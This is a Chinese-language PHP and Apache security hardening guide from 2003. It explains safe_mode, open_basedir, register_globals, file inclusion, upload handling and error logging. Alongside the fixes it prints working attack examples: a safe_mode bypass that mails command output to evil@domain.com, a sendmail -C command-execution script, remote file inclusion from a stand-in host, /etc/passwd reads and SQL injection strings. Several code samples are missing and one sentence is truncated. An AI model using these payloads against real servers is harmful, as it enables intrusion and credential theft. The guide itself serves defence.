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     PHP安全配置

    整理:san
    版本:0.02

    創建時間:2001/11/12
    更新時間:2003/07/21

    一、Web服務器安全

    PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache后,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:

    [mail function]
    ; For Win32 only.
    SMTP = localhost

    ; For Win32 only.
    sendmail_from = me@localhost.com

    都是針對Win32平臺,所以需要在chroot環境下調整好sendmail。

    二、PHP本身問題

    1、遠程溢出

    PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:

    http://packetstormsecurity.org/0204-exploits/7350fun
    http://hsj.shadowpenguin.org/misc/php3018_exp.txt

    2、遠程拒絕服務

    PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。

    3、safe_mode繞過漏洞

    還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由于設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:



    執行如下的URL:

    http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

    這將id執行的結果發送給evil@domain.com。

    對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

    # 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
    $script="/tmp/script123";
    $cf="/tmp/cf123";

    $fd = fopen($cf, "w");
    fwrite($fd, "OQ/tmp
    Sparse=0
    R$*" . chr(9) . "$#local $@ $1 $: $1
    Mlocal, P=/bin/sh, A=sh $script");
    fclose($fd);

    $fd = fopen($script, "w");
    fwrite($fd, "rm -f $script $cf; ");
    fwrite($fd, $cmd);
    fclose($fd);

    mail("nobody", "", "", "", "-C$cf");
    ?>

    還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。

    三、PHP本身的安全配置

    PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

    如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設置的選項是對Web服務器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

    如果還有其他的PHP_INI_USER,  PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以后的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:

    # grep PHP_INI_ /PHP_SRC/main/main.c

    在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。

    1、safe_mode

    safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:

    safe_mode = On

    或者修改httpd.conf,定義目錄:


       Options FollowSymLinks
       php_admin_value safe_mode 1


    重啟apache后safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
    所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:



    幾個文件的屬性如下:

    # ls -la
    total 13
    drwxr-xr-x    2 root     root          104 Jul 20 01:25 .
    drwxr-xr-x   16 root     root          384 Jul 18 12:02 ..
    -rw-r--r--    1 root     root         4110 Oct 26  2002 index.html
    -rw-r--r--    1 www-data www-data       41 Jul 19 19:14 test.php

    在瀏覽器請求test.php會提示如下的錯誤信息:

    Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

    如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。

    如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:

    safe_mode_gid = On

    設置了safe_mode以后,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:

    safe_mode_exec_dir = /usr/local/php/exec

    然后拷貝程序到該目錄,那么php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

    safe_mode_include_dir string
    當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。

    從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。

    指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那么請在結尾加上一個斜線,例如:“safe_mode_include_dir = /dir/incl/”。

    safe_mode_allowed_env_vars string
    設置某些環境變量可能是潛在的安全缺口。本指令包含有一個逗號分隔的前綴列表。在安全模式下,用戶只能改變那些名字具有在這里提供的前綴的環境變量。默認情況下,用戶只能設置以 PHP_ 開頭的環境變量(例如 PHP_FOO = BAR)。

    注: 如果本指令為空,PHP 將使用戶可以修改任何環境變量!

    safe_mode_protected_env_vars string
    本指令包含有一個逗號分隔的環境變量的列表,最終用戶不能用 putenv() 來改變這些環境變量。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變量。

    雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

    討論完safe_mode后,下面結合程序代碼實際可能出現的問題討論如何通過對PHP服務器端的配置來避免出現的漏洞。

    2、變量濫用

    PHP默認register_globals = On,對于GET, POST, Cookie, Environment, Session的變量可以直接注冊成全局變量。它們的注冊順序是variables_order = "EGPCS"(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變量初始化的習慣,像如下的程序片斷就極易受到攻擊:

    //test_1.php

    if ($pass == "hello")
        $auth = 1;

    if ($auth == 1)
        echo "some important information";
    else
        echo "nothing";
    ?>

    攻擊者只需用如下的請求就能繞過檢查:
    http://victim/test_1.php?auth=1

    這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞:http://www.securityfocus.com/bid/3361

    PHP-4.1.0發布的時候建議關閉register_globals,并提供了7個特殊的數組變量來使用各種變量。對于從GET、POST、COOKIE等來的變量并不會直接注冊成變量,必需通過數組變量來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變量。

    解決方法:

    配置文件php.ini設置register_globals = Off。

    要求程序員對作為判斷的變量在程序最開始初始化一個值。

    3、文件打開

    極易受攻擊的代碼片斷:

    //test_2.php

    if (!($str = readfile("$filename"))) {
        echo("Could not open file: $filename
    \n");
        exit;
    }
    else {
        echo $str;
    }
    ?>

    由于攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

    http://victim/test_2.php?filename=/etc/passwd

    如下請求可以讀php文件本身:

    http://victim/test_2.php?filename=test_2.php

    PHP中文件打開函數還有fopen(), file()等,如果對文件名變量檢查不嚴就會造成服務器重要文件被訪問讀取。

    解決方法:

    如非特殊需要,把php的文件操作限制在web目錄里面。以下是修改apache配置文件httpd.conf的一個例子:


        php_admin_value open_basedir /usr/local/apache/htdocs


    重啟apache后,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:

    Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

    使用safe_mode模式也能避免這種問題,前面已經討論過了。

    4、包含文件

    極易受攻擊的代碼片斷:

    //test_3.php

    if(file_exists($filename))
        include("$filename");
    ?>

    這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:

    http://victim/test_3.php?filename=/etc/passwd

    如果對于Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,如http://attack/attack.txt的內容是,那么如下的請求就可以在目標主機執行命令ls /etc:

    http://victim/test_3.php?filename=http://attack/attack.txt

    攻擊者甚至可以通過包含apache的日志文件access.log和error.log來得到執行命令的代碼,不過由于干擾信息太多,有時不易成功。
    對于另外一種形式,如下代碼片斷:

    //test_4.php

    include("$lib/config.php");
    ?>

    攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然后用如下請求也可以在目標主機執行命令:

    http://victim/test_4.php?lib=http://attack

    PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變量檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。

    解決方法:

    要求程序員包含文件里的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。

    如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:

    allow_url_fopen = Off

    重啟apache。

    5、文件上傳

    php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變量:(如form變量名是file,而且register_globals打開)

    $file        #就是保存到服務器端的臨時文件(如/tmp/phpxXuoXG )
    $file_size    #上傳文件的大小
    $file_name    #上傳文件的原始名稱
    $file_type    #上傳文件的類型

    推薦使用:

    $HTTP_POST_FILES['file']['tmp_name']
    $HTTP_POST_FILES['file']['size']
    $HTTP_POST_FILES['file']['name']
    $HTTP_POST_FILES['file']['type']

    這是一個最簡單的文件上傳代碼:

    //test_5.php

    if(isset($upload) && $file != "none") {
        copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
        echo "文件".$file_name."上傳成功!點擊繼續上傳";
        exit;
    }
    ?>







    上傳文件:






    這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
    下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:

    http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

    然后可以用如下請求讀取口令文件:

    http://victim/test/attack.txt

    攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
    攻擊者可以自定義form里file_name變量的值,上傳覆蓋任意有寫權限的文件。
    攻擊者還可以上傳PHP腳本執行主機的命令。

    解決方法:

    PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
    使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變量。
    嚴格檢查上傳變量。比如不允許是php腳本文件。

    把PHP腳本操作限制在web目錄可以避免程序員使用copy函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
    把PHP腳本用phpencode進行加密,避免由于copy操作泄漏源碼。
    嚴格配置文件和目錄的權限,只允許上傳的目錄能夠讓nobody用戶可寫。
    對于上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:


          php_flag engine off
          #如果是php3換成php3_engine off


    重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。

    6、命令執行

    下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:

    http://www.securityfocus.com/bid/4303

    //test_6.php

    system("traceroute $a_query",$ret_strs);
    ?>

    由于程序沒有過濾$a_query變量,所以攻擊者可以用分號來追加執行命令。

    攻擊者輸入如下請求可以執行cat /etc/passwd命令:

    http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

    PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。

    解決方法:

    要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。

    啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

    7、sql_inject

    如下的SQL語句如果未對變量進行處理就會存在問題:

    select * from login where user='$user' and pass='$pass'

    攻擊者可以用戶名和口令都輸入1' or 1='1繞過驗證。

    不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變量自動加了addslashes()操作。上面SQL語句變成了:

    select * from login where user='1\' or 1=\'1' and pass='1\' or 1=\'1'

    從而避免了此類sql_inject攻擊。

    對于數字類型的字段,很多程序員會這樣寫:

    select * from test where id=$id

    由于變量沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等數據庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。

    解決方法:

    要求程序員對所有用戶提交的要放到SQL語句的變量進行過濾。
    即使是數字類型的字段,變量也要用單引號擴起來,MySQL自己會把字串處理成數字。
    在MySQL里不要給PHP程序高級別權限的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE ... 這種攻擊。

    8、警告及錯誤信息

    PHP默認顯示所有的警告及錯誤信息:

    error_reporting  =  E_ALL & ~E_NOTICE
    display_errors = On

    在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
    正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由于自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日志文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。

    修改php.ini中關于Error handling and logging部分內容:

    error_reporting  =  E_ALL
    display_errors = Off
    log_errors = On
    error_log = /usr/local/apache/logs/php_error.log

    然后重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

    9、disable_functions

    如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:

    disable_functions = phpinfo, get_cfg_var

    可以指定多個函數,用逗號分開。重啟apache后,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏服務器信息,而且沒有實際用處。

    10、disable_classes

    這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。

    11、open_basedir

    前面分析例程的時候也多次提到用open_basedir對腳本操作路徑進行限制,這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:"open_basedir = /dir/incl/"。
    可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。

    四、其它安全配置

    1、取消其它用戶對常用、重要系統命令的讀寫執行權限

    一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行權限能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的權限也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
    如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行權限會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行權限不能去掉。這是一項比較累人的工作,

    2、去掉apache日志其它用戶的讀權限

    apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那么把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問權限。
    如果有其它虛擬主機,也應該相應去掉該日志文件其它用戶的讀權限。

    當然,如果你按照前面介紹的配置PHP那么一般已經是無法讀取日志文件了。



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